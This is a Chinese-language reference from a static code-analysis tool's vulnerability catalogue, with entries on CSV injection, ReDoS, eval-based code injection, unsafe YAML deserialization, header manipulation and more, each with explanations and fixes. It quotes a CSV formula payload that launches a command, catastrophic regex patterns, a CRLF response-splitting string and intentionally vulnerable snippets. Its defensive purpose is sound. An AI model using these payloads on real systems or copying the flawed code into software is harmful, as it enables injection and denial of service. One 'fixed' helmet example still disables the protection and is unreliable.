	执行此操作后，将允许另一个域中的攻击者将 document.domain 设置为相同值，并在页面上执行脚本，就像它们位于完全相同的域中一样。
	示例 1：下面，我们取一个 URL 参数 domain，并将其作为页面的同源策略 (SOP) 的域传递。
	<SCRIPT>
	var pos = document.URL.indexOf("domain=")+7;
	document.domain = document.URL.substring(pos,document.URL.length);
	</SCRIPT>
	大多数浏览器只允许将有效的超域传递给 document.domain。因此，如果页面位于“http://www.example.com”，则可以将 document.domain 设置为“www.example.com”或“example.com”。它不能设置为“com”或“example.org”。
	然而，如果攻击者位于他们能够控制的网站的另一部分上，他们也许能够在他们无法控制的网站部分上执行脚本。

建议	在可能的情况下，决不允许用户输入来控制 document.domain。
	如果无法做到这一点，则应采用允许列表方法，这种方法根据用户输入检查有效参数列表，并使用相关联的参数。这样，就不会发生通过用户控制的输入来确定 document.domain 内容的情况。
	示例 2：以下代码使用允许列表方法来解决此问题，注意千万不要直接使用用户控制的输入。
	<SCRIPT>
	function getDomainFromAllowList(userControlledDomain) {
	// assuming that you are on the domain 'foo.bar.example.com'
	let domains = ['foo.bar.example.com', 'bar.example.com']; // assuming it is safe to be able to execute on both parts of this site
	let foundDomain = domains.find((domain) => { domain == userControlledDomain });
	if (foundDomain === undefined){
	// if the user-controlled domain is something else, default to least privileged domain

返回目录

	return document.domain;
	}
	return foundDomain;
	}
	var pos=document.URL.indexOf("domain=")+7;
	document.domain =
	getDomainFromAllowList(document.URL.substring(pos,document.URL.length));
	</SCRIPT>

CWE	CWE ID 79, CWE ID 80
OWASP2017	A7 Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Cross-Site Scripting:Untrusted HTML Downloads**
默认严重性	3.0
摘要	X（文件） 中的方法 XXX（方法） 调用第 N 行的 X（函数），禁用了要设置为 noopen 的 X-Download-Options 标头，从而允许下载的 HTML 页面在为其提供服务的站点的安全上下文中运行。禁用要设置为 noopen 的 X-Download-Options 标头后，下载的 HTML 页面可以在提供这些页面的站点的安全上下文中运行。

解释	当站点需要能够为用户提供下载时，打开下载文件的选项意味着，所提供的在浏览器中运行的任何文件均可以在与站点位于相同安全上下文的当前浏览器中打开。
	如果攻击者能够操纵下载的文件，则他们可以插入在浏览器中运行的 HTML 或脚本作为跨站脚本攻击，从而窃取或操纵当前会话中的信息。
	示例 1：以下示例明确禁用了对运行于浏览器中的提供的下载的保护：
	var express = require('express');
	var app = express();
	var helmet = require('helmet');
	app.use(helmet({
	ieNoOpen: false
	}));
	...

建议	向用户提供可能不受信任的文件，尤其是可在浏览器中运行的文件时，如果可能，站点不应允许立即打开文件。Internet Explorer 为该调用的 X-Download-Options 引入了一个标头，该标头需要设置为 noopen，以防止用户下载并立即打开文件，这样会导致文件在与站点相同的安全上下文中运行。
	示例 2：以下示例将 X-Download-Options 标头设置为 noopen：
	var express = require('express');
	var app = express();
	var helmet = require('helmet');
	app.use(helmet()); //a protection enabled by default
	...
	//or
	app.use(helmet({
	ieNoOpen: false
	}));
	...

返回目录

	设置此标头后，Internet Explorer 用户需要在本地保存文件，然后再将其打开，这意味着该文件不会再在与提供待下载文件的站点相同的安全上下文中运行。
CWE	CWE ID 79, CWE ID 80
OWASP2017	A7 Cross-Site Scripting (XSS)

返回目录

漏洞名称	**CSV Injection**
默认严重性	4
摘要	X（文件） 文件第 N 行的 XX（元素） 中提供的值被 Y（文件） 文件第 M 行中的 YY（元素） 用于生成 CSV 文件。
解释	允许攻击者控制 CSV 公式可能会使攻击者能够在用户系统上或使用支持公式的 CSV 的系统上执行任意操作；这些任意操作包括读取和发送任意文件、读取和发送其他电子数据表中的任意值，甚至执行操作系统命令或恶意代码。 用户下载逗号分隔值 (CSV) 文件时，通常默认会使用电子数据表软件将 CSV 解析为表格。如果这些值中含有未经净化的可注入公式的恶意值，攻击者就能利用 CSV 文件攻击下载此文件的其他用户。 与 CSV 公式注入相关的风险取决于使用什么软件读取 CSV 文件，以及该软件的公式的功能；例如，Microsoft Excel 可以访问操作系统命令，允许执行命令——将值 =cmd|' /C calc'!'A1,1,2,3 放在一个 .CSV 文件中并使用 Microsoft Excel 打开此文件会产生一个提示，用户点击后将打开 Windows 的计算器程序。 另外，部分系统会使用 CSV 文件并支持公式。这些系统会受到相似的的影响。 在此实例中，客户代码被用于生成 CSV 文件，可能导致其之后在使用时执行。
建议	净化值以确保公式未被注入。所有电子数据表单元中使用以下特殊字符开头的所有值：+、-、=、@。此外，任何以引号开头的单元格都可能含有公式，所以如果一个单元的值开头为引号，公式特殊字符可能会紧跟引号之后，因此应该删除。 净化应确保这些单元不会以这些特殊字符开头；为此，可以执行以下操作： 删除这些特殊字符 在这些特殊字符前添加一个空格 使用撇号封装整个单元
CWE	CWE ID 74
OWASP2017	None

返回目录

漏洞名称	**Declaration of Multiple Vue Components per File**
默认严重性	2
摘要	第 M 行定义的组件在此文件中不是唯一。使用构建系统拼接文件时，各个组件应在自己的文件中定义。
解释	如果在同一个文件中开发多个组件，这会难以检查、编辑和查找您需要的特定代码，而且这个问题会随着项目的发展而越来越严重。 同一文件中定义多个组件。
建议	每个文件只定义一个组件，并使用能清楚地说明用途的名称。
CWE	None
OWASP2017	None

返回目录

漏洞名称	**Declaration of Vue Component Data as Property**
默认严重性	2
摘要	第 M 行中定义的组件的数据属性有一个对象类型，使其值在组件的所有实例中共享。
解释	组件的所有实例都将引用数据属性中定义的同一个对象，这会导致竞争问题和改变同一组件的所有其他实例。 组件的数据属性被定义为对象而不是有返回值的函数。
建议	将数据属性定义为返回对象的函数。这可避免在组件之间共享数据。
CWE	None
OWASP2017	None

返回目录

漏洞名称	**Denial of Service**
默认严重性	2.0
摘要	调用 X（文件） 中第 N 行的 X（函数） 可能会使攻击者造成程序崩溃或让合法用户无法进行使用。攻击者可以造成程序崩溃或使合法用户无法进行使用。

解释	攻击者可能通过对应用程序发送大量请求，而使它拒绝对合法用户的服务，但是这种攻击形式经常会在网络层就被排除掉了。更加严重的是那些只需要使用少量请求就可以使得攻击者让应用程序过载的 bug。这种 bug 允许攻击者去指定请求使用系统资源的数量，或者是持续使用这些系统资源的时间。
	示例 1：以下代码允许用户指定要使用的 file system 大小。通过指定一个较大的数字，攻击者可以耗尽 file system 资源。
	var fsync = requestFileSystemSync(0, userInput);
	示例 2：下列代码会写入一个文件。由于在用户代理将此文件视为已关闭之前，此文件可能会持续写入和重写，因此磁盘配额、IO 带宽和可能需要分析此文件内容的进程都会受到影响。
	function oninit(fs) {
	fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
	fileEntry.createWriter(function(fileWriter) {
	fileWriter.seek(fileWriter.length);
	var bb = new BlobBuilder();
	bb.append('Appending to a file');
	fileWriter.write(bb.getBlob('text/plain'));
	}, errorHandler);
	}, errorHandler);
	}
	window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);

建议	校验用户输入以确保它不会引起不适当的资源利用。
	示例 3：以下代码允许用户指定文件系统大小，就像 Example 1 中一样，但前提是该值处于合理范围内。
	if (userInput >= SIZE_MIN &
	userInput <= SIZE_MAX) {
	var fsync = requestFileSystemSync(0, userInput);
	} else {
	throw "Invalid file system size";
	}
	}
	示例 4：以下代码会写入一个文件，就像 Example 2 中一样，但最大文件大小为 MAX_FILE_LEN。
	function oninit(fs) {

返回目录

	fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
	fileEntry.createWriter(function(fileWriter) {
	fileWriter.seek(fileWriter.length);
	var bb = new BlobBuilder();
	bb.append('Appending to a file');
	if (fileWriter.length + bb.size <= MAX_FILE_LEN) {
	fileWriter.write(bb.getBlob('text/plain'));
	}
	}, errorHandler);
	}, errorHandler);
	}
	window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);

CWE	CWE ID 730
OWASP2017	None

返回目录

漏洞名称	**Denial of Service:Regular Expression**
默认严重性	4.0
摘要	不受信数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
解释	实施正则表达式评估程序及相关方法时存在漏洞，在评估包含自重复分组表达式的正则表达式时，该漏洞会导致线程挂起。此外，还可以利用任何包含相互重叠的替代子表达式的正则表达式。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。 示例: (e+)+ ([a-zA-Z]+)* (e|ee)+ 已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
建议	请不要将不可信赖的数据用作正则表达式。
CWE	CWE ID 185, CWE ID 730
OWASP2017	None

返回目录

漏洞名称	**Deserialization of Untrusted Data**
默认严重性	5
摘要	X（文件） 文件第 N 行中 XXX（方法） 方法中处理的序列化对象 XX（元素） 被 Y（文件） 文件第 M 行中的 YY（元素） 反序列化。
解释	反序列化不可信任的数据会使攻击者能够为反序列化代码制作和提供恶意对象。如果能对危险对象进行不安全的反序列化，就可以在反序列化过程中调用对象可以使用的类或方法来执行代码或操作系统命令。 此外，反序列化也可能绕过逻辑对象验证。因为反序列化通常通过自己的方法使用序列化数据构造新对象，所以这样可以绕过构造函数或 setter 中强制执行的检查，这将使攻击者能够反序列化属性未经过验证、不正确或完全恶意的对象。这可能会导致意外行为，以与实现方式相关的方式影响逻辑。 对象序列化和反序列化是远程处理过程中必不可少的，在这个过程中，对象通过中间媒介（例如通过网络）在代码实例之间传递。反序列化时会使用媒介上提供的序列化对象构造新对象；但是，如果被反序列化的对象是不可信任的，提供的就可能是意外且可能有危险的对象。 应用程序使用的 Javascript 库支持函数或代码反序列化，因此不应用于反序列化不可信任的数据。
建议	尽量不要在远程实例之间传递序列化对象。可以考虑在实例之间传递原始值，然后使用这些值填充新构造的对象。 如果有需要，可使用白名单的方法传递对象。始终确保传递的对象是已知的、可信任的和符合预期的。不要使用任何源来动态构造对象，除非该对象已经过验证且属于可信任的已知类型，并且其中不包含不可信任的对象。 选择序列化器时——一定要查看开发商文档、最佳做法和甚至已知的开发技术，以确保选择和部署的序列化器是可防御的、配置安全而且不允许任何可能有危险的对象。 对于 Javascript，考虑避免会整体允许代码及其执行的反序列化，并使用较简单的 JSON 解析器创建纯 Javascript 对象。
CWE	None
OWASP2017	None

返回目录

漏洞名称	**Divide By Zero**
默认严重性	3
摘要	应用程序在 Y（文件） 中的 YYY（方法） 中执行了非法操作。在第 M 行中，程序尝试以 YY（元素） 相除，这可能在相除时等于 0（零）。此值可能是硬编码的零值，也可能是从 X（文件） 文件第 N 行的 XXX（方法） 中获得的外部、不可信任的输入 XX（元素）。
解释	程序将数字除以零时，会引发异常。如果应用程序未处理此异常，就可能会出现意外结果，包括应用程序崩溃。如果外部用户可以控制分母的值或者可以导致发生此错误，就可以将此视为 DoS（拒绝服务）攻击。 程序收到意外值，并且未进行过滤、验证或检查该值不为零便用于除法中。应用程序未显式处理此错误或避免发生除以零的情况。
建议	在除以未知值之前，先验证该数字并显式确认其不等于零。 验证来自所有来源的所有不可信任的输入，特别是在做除法之前要验证它不等于零。 验证方法、计算、字典查找等的输出，并在除结果之前确保它等于零。 确保除以零的错误能被捕捉到并正确处理。
CWE	CWE ID 369
OWASP2017	None

返回目录

漏洞名称	**Dynamic Code Evaluation:Code Injection**
默认严重性	4.0
摘要	X（文件） 文件将未验证的用户输入解析为第 N 行的源代码。在运行时中解析用户控制的指令，会让攻击者有机会执行恶意代码。在运行时中解析用户控制的指令，会让攻击者有机会执行恶意代码。

解释	许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时（如对当前的用户对象进行简单的计算或修改用户的状态），就会出现 code injection 漏洞：然而，若不经过适当的验证，用户指定的操作可能并不是程序员最初所期望的。
	示例：在这一典型的代码注入示例中，应用程序实施的基本计算器允许用户指定要执行的命令。
	...
	userOp = form.operation.value;
	calcResult = eval(userOp);
	...
	如果 operation 参数的值为良性值，程序就可以正常运行。例如，当该值为 "8 + 7 * 2" 时，calcResult 变量被赋予的值将为 22。然而，如果攻击者指定的语言操作既有可能是有效的，又有可能是恶意的，那么，只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令，这种攻击甚至会更加危险。对于 JavaScript，攻击者还可以利用这种漏洞进行 cross-site scripting 攻击。

建议	在任何时候，都应尽可能地避免动态的代码解析。如果程序的功能要求对代码进行动态的解析，您可以通过以下方式将此种攻击的可能性降低到最小：尽可能的限制程序中动态执行的代码数量，将此类代码应用到特定的应用程序和上下文中的基本编程语言的子集。 如果需要执行动态代码，应用程序绝不应当直接执行和解析未验证的用户输入。而应采用间接方法：创建一份合法操作和数据对象列表，用户可以指定其中的内容，并且只能从中进行选择。利用这种方法，就绝不会直接执行由用户提供的输入。
CWE	CWE ID 95, CWE ID 494
OWASP2017	A1 Injection

返回目录

漏洞名称	**Dynamic Code Evaluation:Script Injection**
默认严重性	3.0
摘要	X（文件）文件将未经验证的用户输入解析为第 N 行的源代码。在运行时解析用户控制的指令，会让攻击者有机会执行恶意代码。在运行时解析用户控制的指令，会让攻击者有机会执行恶意代码。

解释	许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时（如对当前的用户对象进行简单的计算或修改用户的状态），就会出现 code injection 漏洞：然而，若不经过适当的验证，用户指定的操作可能并不是程序员最初所期望的。
	示例：在这一典型的代码注入示例中，应用程序实施的基本计算器允许用户指定要执行的命令。
	...
	userOp = form.operation.value;
	calcResult = eval(userOp);
	...
	如果 operation 参数的值为良性值，程序就可以正常运行。例如，当该值为“8 + 7 * 2”时，calcResult 变量被赋予的值将为 22。然而，如果攻击者指定的语言操作既有可能是有效的，又有可能是恶意的，那么，只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令，这种攻击甚至会更加危险。对于 JavaScript，攻击者还可以利用这种漏洞进行 cross-site scripting 攻击。

建议	在任何时候，都应尽可能地避免动态的代码解析。如果程序的功能要求对代码进行动态的解析，您可以通过以下方式将此种攻击的可能性降低到最小：尽可能的限制程序中动态执行的代码数量，将此类代码应用到特定的应用程序和上下文中的基本编程语言的子集。 如果需要执行动态代码，应用程序绝不应当直接执行和解析未验证的用户输入。而应采用间接方法：创建一份合法操作和数据对象列表，用户可以指定其中的内容，并且只能从中进行选择。利用这种方法，就绝不会直接执行由用户提供的输入。
CWE	CWE ID 95, CWE ID 494
OWASP2017	A1 Injection

返回目录

漏洞名称	**Dynamic Code Evaluation:Unsafe YAML Deserialization**
默认严重性	5.0
摘要	调用第 N 行的 X（函数） 会对用户控制的 YAML 流进行反序列化，这可能会让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致拒绝服务。对用户控制的 YAML 流进行反序列化，可能会让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致拒绝服务。

解释	将对象图转换为 YAML 格式数据的 YAML 序列化库可能包括重新从 YAML 流重构对象所需的元数据。 如果攻击者可以指定要重构的对象类，并能够强制应用程序运行具有用户控制数据的任意资源库，则在 YAML 流的反序列化期间，他们也许能够执行任意代码。
	示例 1： 以下示例使用不安全的 YAML 解析器对不受信任的 YAML 字符串进行反序列化。
	var yaml = require('js-yaml');
	var untrusted_yaml = getYAMLFromUser();
	yaml.load(untrusted_yaml)

建议	如果可能，在没有验证 YAML 流的内容的情况下，请勿对不受信任的数据进行反序列化。根据所用的 YAML 库，也许可以检验反序列化过程中构造的允许类的列表。
	JS-YAML 提供 safeLoad() 方法加载 YAML 文档，同时不允许用户实例化任意类型。
	示例 2： 以下示例使用安全的 YAML 解析器对不受信任的 YAML 字符串进行反序列化。
	var yaml = require('js-yaml');
	var untrusted_yaml = getYAMLFromUser();
	yaml.safeLoad(untrusted_yaml)

CWE	CWE ID 502
OWASP2017	A8 Insecure Deserialization

返回目录

漏洞名称	**Dynamic File Inclusion**
默认严重性	2
摘要	应用程序在 Y（文件） 文件第 M 行使用 YY（元素） 载入了外部库或源代码文件。攻击者可能会利用此漏洞，导致应用程序加载任意代码。 请注意，此库是根据 X（文件） 文件第 N 行上不可信任的用户输入 XX（元素） 动态选择的。攻击者可以（甚至从远程服务器）影响此输入，使应用程序执行任意代码。
解释	如果攻击者可以选择库的名称或应用程序加载的代码文件的位置，攻击者就可能让应用程序执行任意代码。这样攻击者便能有效地控制应用程序运行的代码。 这包括执行系统命令，甚至可以完全控制服务器。特别是，此漏洞甚至可使攻击者检索和加载完全在攻击者控制下的远程库。 应用程序使用不可信任的数据指定库或代码文件，未进行适当的净化。这会导致应用程序加载指定的任意代码。然后执行加载的代码。 对目标库的引用是通过用户输入接收的，使外部攻击者能够控制应用程序下载并执行远程服务器上托管的远程代码文件。
建议	不要动态加载代码库，尤其是不要根据用户输入加载代码库。 如果需要使用不可信任的数据来选择要加载的库，请验证所选库名称是否与预定义的已列入白名单的库名称集匹配。也可使用值作为标识符从已列入白名单的库中选择。 对用于加载或处理库或代码文件的不可信任的数据进行验证。 特别是，切勿载入远程服务器的任意代码。 一般来讲，要尽量通过远程代码加载本地代码文件。 切勿使用匿名相对路径添加文件，而要使用绝对路径或根相对路径。
CWE	CWE ID 829
OWASP2017	A5-Broken Access Control

返回目录

漏洞名称	**Frameable Login Page**
默认严重性	4
摘要	Web 应用程序未正确地使用 "X-FRAME-OPTIONS" 标头限制在框架内嵌入网页。
解释	允许在不可信任的 Web 页面中的框架内设置 Web 页面会使这些 Web 页面容易受到点击劫持攻击，又称矫正攻击。这使攻击者能够在恶意网页中的框架内设置有漏洞的网页来调整该网页。通过制作能够以假乱真的恶意网页，攻击者可以使用重叠页面让用户点击屏幕的某个区域，从而在不知不觉中点击包含漏洞的网页的框架内部，从而在用户的上下文中代表攻击者执行操作。 未正确地使用 "X-FRAME-OPTIONS" 标头可能会使攻击者能够执行点击劫持攻击。正确使用 "X-FRAME-OPTIONS" 标头将使浏览器禁止在框架内嵌入网页（如果浏览器支持此标头），从而降低此风险。所有现在的浏览器默认都支持此标头。
建议	根据业务需求使用 "X-FRAME-OPTIONS" 标头标记，使支持此标头的浏览器禁止在框架中嵌入网页: "X-Frame-Options: DENY" 将使浏览器禁止在框架内嵌入任何网页，包括当前网站。 "X-Frame-Options: SAMEORIGIN" 将使浏览器禁止在框架内嵌入任何网页，不包括当前网站。 "X-Frame-Options: ALLOW-FROM https://example.com/" 将使浏览器禁止在框架内嵌入任何网页，不包括 ALLOW-FROM 参数后列出的网站。
CWE	CWE ID 829
OWASP2017	A6-Security Misconfiguration

返回目录

漏洞名称	**Hardcoded Absolute Path**
默认严重性	2
摘要	XXX（方法） 方法使用 X（文件） 文件第 N 行中硬编码的绝对路径 XX（元素） 引用了外部文件。
解释	通常，硬编码绝对路径会使应用程序变得脆弱，并且会使程序在某些没有相同文件系统结构的环境中无法正常运行。如果应用程序未来版本的设计或要求发生变化，这还会为软件带来维护问题。 此外，如果应用程序使用此路径来读取或写入数据，则可能导致泄漏机密数据或允许向程序恶意输入数据。在某些情况下，此漏洞甚至会使恶意用户能够覆写预期的功能，使应用程序运行任意程序并执行攻击者部署到服务器的任意代码。 硬编码的路径不太灵活，使得应用程序难以适应环境变化。例如，程序可能被安装在与默认目录不同的目录中。同样，不同的系统语言和 OS 体系结构会更改系统文件夹的名称；例如，在西班牙语 Windows 机器中会是"C:\Archivos de programa (x86)\" instead of "C:\Program Files\"。 此外，在 Windows 上，默认情况下，所有目录和文件都是在系统文件夹和用户配置文件之外创建的，这将使任何经过身份验证的用户都有完全的读写权限。尽管应用程序假定这些文件夹中的任何敏感数据都是受到保护的，未经授权的恶意用户可能访问这些数据。更糟糕的是，攻击者可能会覆写这些未受保护的文件夹中的现有程序并植入恶意代码，然后将由应用程序激活这些代码。
建议	不要将绝对路径硬编码到应用程序中。 而要将绝对路径保存在外部配置文件中，以便根据每个环境的情况进行修改。 或者，如果目标文件位于应用程序根目录的一个子目录中，也可使用相对于当前应用程序的路径。 不要在应用程序子目录外假定特定的文件系统结构。在 Windows 上，使用内置的可扩展变量，例如 %WINDIR%、%PROGRAMFILES%, 和 %TEMP%。 在 Linux 和其他 OS 上，如果可用，可以为应用程序设置系统监禁 (chroot)（根目录限制），并将所有程序和数据文件保存到那里。 建议将所有可执行文件保存在受保护的程序目录下（Windows 默认在 "C:\Program Files\" 下）。 不要在任意文件夹中储存敏感数据或配置文件。同样，不要将数据文件储存在程序目录中。而要使用预先指定的文件夹，即 Windows 上分别是 %PROGRAMDATA% 和 %APPDATA%。 根据最小权限原则，尽量将强化过的权限配置到最严格地程度。请考虑在安装和设置例程中自动实现此功能。
CWE	CWE ID 426

返回目录

OWASP2017	None

返回目录

漏洞名称	**Hardcoded password in Connection String**
默认严重性	4
摘要	应用程序在 X（文件） 文件的第 N 行包含经过硬编码的连接详情 XX（元素）。此连接字符串含有一个经过硬编码的密码，此字符串在 Y（文件） 文件的第 M 行的 YYY（方法） 方法中被用于通过 YY （元素） 元素连接数据库服务器。这可能会暴露数据库密码，不利于某些情况下的密码管理。
解释	经过硬编码的数据库密码会使应用程序泄露密码，使数据库受到未经授权的访问。如果攻击者可以访问源代码（或者可以反编译应用程序的二进制文件），则攻击者将能窃取嵌入的密码，并使用其直接访问数据库。这将使攻击者能够窃取秘密信息、修改敏感记录或删除重要数据。 此外，在需要时无法轻松地更改密码。最终需要更新密码时，可能需要构建新版本应用程序并部署到生产系统。 应用程序将数据库密码硬编码到源代码文件中，然后在连接字符串中使用此密码连接数据库或其他服务器。任何有权访问源代码的人都可以看到此密码，而且必须重建或重新编译应用程序才能更改密码。即使经过编译或部署，密码和连接字符串仍然出现在二进制程序文件或生产环境中。
建议	- 切勿硬编码敏感数据，例如数据库密码。 - 建议完全避免使用明文数据库密码，而要使用操作系统集成的系统身份验证。 - 也可将密码存储在加密的配置文件中，并为管理员提供一种密码更改方法。确保文件权限被配置为仅限管理员访问。 - 特别是，如果数据库支持集成身份验证或 Kerberos，建议对于 SQL 用户要使用此字符串而不要使用显式凭证。通过为 URL 字符串追加 "integratedSecurity=true;" 来配置数据库连接（或根据数据库的库函数来传递参数）。 - 也可在外部配置文件中定义数据库密码和连接参数。根据情况使用合适的权限和加密来保护此配置文件。
CWE	CWE ID 547
OWASP2017	A2-Broken Authentication

返回目录

漏洞名称	**Header Manipulation**
默认严重性	4.0
摘要	X（文件） 文件中的方法 XXX（方法） 包含未验证的数据，这些数据位于 HTTP 响应头文件的第 N 行。这会招致各种形式的攻击，包括：cache-poisoning、cross-site scripting、cross-user defacement、page hijacking、cookie manipulation 或 open redirect。HTTP 响应头文件中包含未验证的数据会引发 cache-poisoning、cross-site scripting、cross-user defac

解释	以下情况中会出现 Header Manipulation 漏洞：
	1. 数据通过一个不可信赖的数据源进入 Web 应用程序，最常见的是 HTTP 请求。
	在这种情况下，数据进入 X（文件）的第 N 行的 XX（函数） 中。
	2. 数据包含在一个 HTTP 响应头文件里，未经验证就发送给了 Web 用户。
	在这种情况下，数据通过 Y（文件）的第 M 行中的 YY（函数） 传送。
	如同许多软件安全漏洞一样，Header Manipulation 只是通向终端的一个途径，它本身并不是终端。从本质上看，这些漏洞是显而易见的：一个攻击者将恶意数据传送到易受攻击的应用程序，且该应用程序将数据包含在 HTTP 响应头文件中。
	其中最常见的一种 Header Manipulation 攻击是 HTTP Response Splitting。为了成功地实施 HTTP Response Splitting 盗取，应用程序必须允许将那些包含 CR（回车，由 %0d 或 \r 指定）和 LF（换行，由 %0a 或 \n 指定）的字符输入到头文件中。攻击者利用这些字符不仅可以控制应用程序要发送的响应剩余头文件和正文，还可以创建完全受其控制的其他响应。
	如今的许多现代应用程序服务器可以防止 HTTP 头文件感染恶意字符。如果您的应用程序服务器能够防止设置带有换行符的头文件，则其具备对 HTTP Response Splitting 的防御能力。然而，单纯地过滤换行符可能无法保证应用程序不受 Cookie Manipulation 或 Open Redirects 的攻击，因此必须在设置带有用户输入的 HTTP 头文件时采取措施。
	示例：下列代码片段会从 HTTP 请求中读取网络日志项的作者名字 author，并将其置于一个 HTTP 响应的 cookie 头文件中。
	author = form.author.value;
	...
	document.cookie = "author=" + author + ";expires="+cookieExpiration;
	...
	假设在请求中提交了一个字符串，该字符串由标准的字母数字字符组成，如“Jane Smith”，那么包含该 Cookie 的 HTTP 响应可能表现为以下形式：

返回目录

	HTTP/1.1 200 OK ... Set-Cookie: author=Jane Smith ... 然而，因为 cookie 值来源于未经校验的用户输入，所以仅当提交给 AUTHOR_PARAM 的值不包含任何 CR 和 LF 字符时，响应才会保留这种形式。如果攻击者提交的是一个恶意字符串，比如 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n....."，那么 HTTP 响应就会被分割成以下形式的两个响应： HTTP/1.1 200 OK ... Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK ... 显然，第二个响应已完全由攻击者控制，攻击者可以用任何所需标头和正文内容构建该响应。如果攻击者可以构造任意 HTTP 响应，则会导致多种形式的攻击，包括：Web 和浏览器 Cache-Poisoning、Cross-Site Scripting 和 Page Hijacking。 Cache Poisoning： 如果多用户 Web 缓存或者单用户浏览器缓存将恶意构建的响应缓存起来，该响应的破坏力会更大。如果响应缓存在共享的 Web 缓存（如在代理服务器中常见的缓存）中，那么使用该缓存的所有用户都会不断收到恶意内容，直到清除该缓存项为止。同样，如果响应缓存在单个用户的浏览器中，那么在清除该缓存项以前，该用户会不断收到恶意内容。然而，影响仅局限于本地浏览器的用户。 Cross-Site Scripting：一旦攻击者控制了应用程序传送的响应，就可以选择多种恶意内容来传播给用户。Cross-Site Scripting 是最常见的攻击形式，这种攻击在响应中包含了恶意的 JavaScript 或其他代码，并在用户的浏览器中执行。基于 XSS 的攻击手段花样百出，几乎是无穷无尽的，但通常它们都会包含传输给攻击者的私人数据（如 Cookie 或者其他会话信息）。在攻击者的控制下，指引受害者进入恶意的网络内容；或者利用易受攻击的站点，对用户的机器进行其他恶意操作。对于易受攻击的应用程序用户，最常见且最危险的攻击就是使用 JavaScript 将会话和 authentication 信息返回给攻击者，而后攻击者就可以完全控制受害者的帐号了。 Page Hijacking：除了利用一个易受攻击的应用程序向用户传输恶意内容，还可以利用相同的根漏洞，将服务器生成的供用户使用的敏感内容重定向，转而供攻击者使用。攻击者通过提交一个会导致两个响应的请求，即服务器做出的预期响应和攻击者创建的响应，致使某个中间节点（如共享的代理服务器）误导服务器所生成的响应，将本来应传送给用户的响应错误地传给攻击者。因为攻击者创建的请求产生了两个响应，第一个被解析为针对攻击者请求做出的响应，第二个则被忽略。当用户通过同一 TCP 连接发出合法请求时，攻击者的请求已经在此处等候，并被解析为针对受害者这一请求的响应。这时，攻击者

返回目录

	将第二个请求发送给服务器，代理服务器利用针对受害者（用户）的、由该服务器产生的这一请求对服务器做出响应，因此，针对受害者的这一响应中会包含所有头文件或正文中的敏感信息。 Cookie Manipulation：当与类似跨站请求伪造的攻击相结合时，攻击者就可以篡改、添加、甚至覆盖合法用户的 cookie。 Open Redirect：如果允许未验证的输入来控制重定向机制所使用的 URL，可能会有利于攻击者发动钓鱼攻击。
建议	针对 Header Manipulation 的解决方法是，确保在适当位置进行输入验证并检验其属性是否正确。 由于 Header Manipulation 漏洞出现在应用程序的输出中包含恶意数据时，因此，合乎逻辑的做法是在应用程序输出数据前一刻对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态响应，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 Header Manipulation 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免出现其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是增强应用程序现有的输入验证机制，增加针对 Header Manipulation 的检查。尽管具有一定的价值，但 Header Manipulation 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 Header Manipulation 漏洞的最佳方法是验证所有应用程序输入数据或向用户输出的数据。 针对 Header Manipulation 漏洞进行验证最安全的方式是创建一个安全字符允许列表，其中的字符允许出现在 HTTP 响应头文件中，并且只接受完全由这些受认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，帐号可能仅包含 0-9 的数字。 更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样的列表，首先需要了解在 HTTP 响应头文件中具有特殊含义的一组字符。尽管 CR 和 LF 字符是 HTTP Response Splitting 攻击的核心，但其他字符，如":"（冒号）和 '='（等号），在响应标头中同样具有特殊的含义。 在应用程序中确定针对 Header Manipulation 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。应用程序应拒绝任何要添加到 HTTP 响应头文件中的包含特殊字符的输入，这些特殊字符（特别是 CR 和 LF）是无效字符。 许多应用程序服务器都试图避免应用程序出现 HTTP Response Splitting 漏洞，其做法是为负责设置 HTTP 头文件和 cookie 的函数提供各种执行方式，以检验是否存在进行 HTTP Response Splitting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会

返回目录

	在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。
CWE	CWE ID 113
OWASP2017	A1 Injection

返回目录

漏洞名称	**Header Manipulation:Cookies**
默认严重性	4.0
摘要	X（文件） 中的方法 XXX（方法） 包含未验证的数据，这些数据位于 HTTP Cookie 的第 N 行。这可产生 Cookie Manipulation 攻击，并导致其他 HTTP 响应头文件操作攻击，例如：cache-poisoning、cross-site scripting、cross-user defacement、page hijacking 或 open redirect。在 Cookies 中包含未验证的数据会引发 HTTP 响应头文件操作攻击，并可能导致 cache-poisoning
